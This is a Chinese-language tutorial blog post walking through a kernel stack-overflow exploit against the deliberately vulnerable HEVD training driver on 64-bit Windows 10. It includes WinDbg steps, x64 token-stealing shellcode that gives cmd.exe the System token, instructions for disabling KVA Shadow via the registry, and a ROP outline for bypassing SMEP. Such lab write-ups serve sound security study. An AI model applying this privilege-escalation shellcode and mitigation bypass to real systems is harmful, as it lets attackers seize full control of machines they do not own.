在上一篇中了解了与内核的交互模式,这里就可以开始做HEVD了
文章已在先知社区投稿:https://xz.aliyun.com/t/13364
编写交互模块
A. 计算IO_CTL值
其实不用这步,但是可以当作更多的了解
在之前的交互中有这么一条定义功能号
1 |
但是…HEVD逆向会发现是这样的
发现CTL_CODE
也是个宏定义
1 |
其中,这里
- DeviceType -> FILE_DEVICE_UNKNOWN = 0x22
- Function -> = 0x9888
- Method -> METHOD_BUFFERED=0
- Access -> FILE_ANY_ACCESS=0
表达式就为
1 | (0x22 << 16) | (0 << 14) | ( 0x9888 << 2) | 0 |
很容易得到逆向,这里以0x226220
为例子
1 | 0x205B = 0x22205B ^ 0x220000 |
那么对应的函数
1 | unsigned int io2num(unsigned int ioctl_num) { |
后面之所以要&一下是因为数据的大小就只有那么大,所以II文章的描述符0x9888
实际有效的只有0x888
B. 功能选择
这里就以最简单的内核栈溢出举例子
每开始一个漏洞利用就编写一个菜单,然后选择解析逆向出来的功能描述符,运行对应函数,没啥好讲的
1 | void menu() { |
C. 简单与功能交互
这里要传一个空间和大小过去,这里用的到方式就是上一篇的IOCTL方式
这里我把所有的exp定义在exp.c
1 | void StackOverflow(HANDLE hDevice, unsigned int ioctl) { |
驱动定义了一个2048大小的栈空间v5
,但是写入的空间是我们可以控制的,尝试触发漏洞
1 | void StackOverflow(HANDLE hDevice, unsigned int ioctl) { |
D. 开始调试
之前符号表好像没加载上,在windbg中,HEVD的描述符一般在同级文件夹下
1 | .sympath+ <pdb文件物理机上的路径> |
然后再
1 | lm m HEVD |
1 | x /D /f HEVD!* |
下个断点
1 | bp HEVD!TriggerBufferOverflowStack |
这里运行下不崩溃的
I. Windbg 调试常用
在使用Windbg调试内核驱动程序时,你可以使用以下命令查看内存地址:
-
64位查看内存
1
dq <内存地址> L <要查看的长度,长度是64位为一组>
-
64位查看内存,单列显示,这在查看栈的情况是比较好用
1
dqs <内存地址> L <要查看的长度,长度是64位为一组>
-
在某处添加断点
1
bp <内存虚拟地址>
1
2bp <模块名>!<函数名>
//bp: break point 如 bp HEVD!TriggerBufferOverflowStack -
查看所有断点
1
bl
-
快速反汇编,适合查看gadget
1
u <内存地址>
-
反汇编该地址对应的一段汇编,适合反汇编这段函数后选择断点
1
2uf <内存地址>
uf <模块名>!<函数名> -
计算器
1
? <计算表达式>
II. 内存布局
1 | void StackOverflow(HANDLE hDevice, unsigned int ioctl) { |
如果引发溢出的话,看看kernel中的v5
变量的布局
这里的kernelBuffer就相当于用户模式下的“栈帧”
同时可以看到我们程序的内存
这个时候顺便看一下rbp
在pop
前下断点再运行到
所以是rsp+0x20+0x818就得到ret的地址
很明显这里可以通过栈溢出劫持返回地址,然后实现我们的shellcode
III. 布置构思
- 首先 驱动是64位,所以要用64位的思维去布局
- 其次,驱动和我们的程序内存之间是能访问的,所以我们在Ring3写shellcode,然后覆盖到Ring0去执行
那么就是
1 | "a"*0x810+p64(shellcode_addr) |
Shellcode+exp编写
A. shellcode
主要是用这篇:Exploiting Windows 10 Kernel Drivers - Stack Overflow 或者里面参考的两篇
主要目的就是拿去Token然后替换掉一个cmd.exe的Token实现提权,在下一篇文章中会详细提到
This time around we will pass the PID into the shellcode, which means that our tweaked shellcode will look like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40 [BITS 64]
push rax
push rbx
push rcx
push rsi
push rdi
mov rax, [gs:0x180 + 0x8] ; Get 'CurrentThread' from KPRCB
mov rax, [rax + 0x220] ; Get 'Process' property from current thread
next_process:
cmp dword [rax + 0x2e0], 0x41414141 ; Search for 'cmd.exe' process ('AAAA' replaced by exploit)
je found_cmd_process
mov rax, [rax + 0x2e8] ; If not found, go to next process
sub rax, 0x2e8
jmp next_process
found_cmd_process:
mov rbx, rax ; Save our cmd.exe EPROCESS for later
find_system_process:
cmp dword [rax + 0x2e0], 0x00000004 ; Search for PID 4 (System process)
je found_system_process
mov rax, [rax + 0x2e8]
sub rax, 0x2e8
jmp find_system_process
found_system_process:
mov rcx, [rax + 0x358] ; Take TOKEN from System process
mov [rbx+0x358], rcx ; And copy it to the cmd.exe process
pop rdi
pop rsi
pop rcx
pop rbx
pop rax
; return goes here
B. EXP
1 | void StackOverflow(HANDLE hDevice, unsigned int ioctl) { |
然后到ret返回,查看返回地址
1 | k |
发现返回地地址已经被覆盖了,继续走下去
跳转到了shellcode了,再走两步
???
说我在执行不可执行的内存,但是明明已经VirtualProtect(shellcode, 256, PAGE_EXECUTE_READWRITE, &oldProtect);
???越来越离谱了
尝试把shellcode移动到常量内存中试试,还是不行,接着我再进行ioctl之前pause一下,好像可以了
但是依然被说执行不可执行代码
新的保护机制
查了其他的解法,发现Windows 8过后微软添加了一个叫做SMEP保护的东西
你可以在这里查到关于Windows的所有保护机制:https://learn.microsoft.com/zh-cn/windows/security/threat-protection/overview-of-threat-mitigations-in-windows-10
- 监督器模式执行防护 (SMEP) :帮助防止内核 (“监督器”) 在用户页面中执行代码,这是攻击者用于本地内核提升特权 (EOP) 的常见技术。 此配置需要在 Intel Ivy Bridge 或更高版本处理器中找到处理器支持,或者具有 PXN 支持的 ARM。
尝试关闭该保护后执行exp,但是发现是无法关闭的,由于内核的整体设计导致该保护在windows8及以上是不能被关闭的,那么就只能想办法绕过了
A. SMEP保护机制及手动绕过
该保护机制强烈依赖于CPU的RC4
寄存器,刚好我这里有《英特尔® 64 位和 IA-32 架构开发人员手册合订本》,翻出来看一下
[机翻]从用户模式地址获取指令。
访问权限取决于 CR4.SMEP 的值:
• 如果CR4.SMEP = 0,访问权限取决于分页模式和IA32_EFER.NXE 的值:
— 对于 32 位分页或如果 IA32_EFER.NXE = 0,则可以从任何用户模式获取指令
地址。
— 对于 IA32_EFER.NXE = 1 的其他分页模式,可以通过每个分页结构条目中 XD 标志为 0 的转换从任何用户模式地址获取指令
控制翻译; 指令可能无法从任何用户模式地址获取
在任何控制转换的分页结构条目中 XD 标志为 1 的转换。
• 如果CR4.SMEP = 1,则不能从任何用户模式地址获取指令。
— 仅允许对管理员模式影子堆栈地址进行管理员模式影子堆栈访问
(往上看)。
或许我们将CR4.SMEP
的值设置为0
,访问权限由页中的U/S标志位决定
CR4寄存器的结构如下(小端序顺序从右向左):
不急,继续搜索发现了一份Intel关于SMEP的更详细的描述
尝试使用调试起修改CR4
如果修改第20位为0,rc的值为0x270678
,然而还是不行
B. KVAS
Windows内核缓解机制使用了Kva Shadow内存,比如MeltDown漏洞就于此有关,首先不会讲细节,在下一篇文章会讲到,尝试将其关闭
再注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
创建两个DWORD值:FeatureSettingsOverride
FeatureSettingsOverrideMask
设置值为3,然后重启
现在手动设置cr4.SMEP为0
终于运行了
shellcode的一些偏移有问题
更换为
1 | BYTE cmd[256] = { |
EXP
1 | void StackOverflow(HANDLE hDevice, unsigned int ioctl) { |
调试中手动CR4.SMEP=0(注意,之前已经关闭了KVA)
C. 使用内核ROP绕过SMEP
首先我们需要一个类似于mov rc4,xxx
的rop,让rc4.smep=0
,
参考在Linux下进行ROP的经验, payload大致长这样的
1 | *(unsigned long long*)(stackspace + 0x818) = (unsigned long long)pop_rcx_ret; |
多调试或者编程自动寻找就可以找到了,这里暂时参考HEVD Exploits – Windows 10 x64 Stack Overflow SMEP Bypass
修改EXP
1 | unsigned int size = 0x840; |
没有下断点直接过
遗留
下一篇
- user编程寻找ROPGadget
- shellcode编写
- Token提权
- KVAS
参考
https://www.bilibili.com/video/BV1pD4y1a7hP/
https://www.cnblogs.com/XiuzhuKirakira/p/16995784.html
https://blog.xpnsec.com/hevd-stack-overflow
https://h0mbre.github.io/HEVD_Stackoverflow_SMEP_Bypass_64bit
https://joe1sn.eu.org/2023/02/17/windows_kernel_driver_2/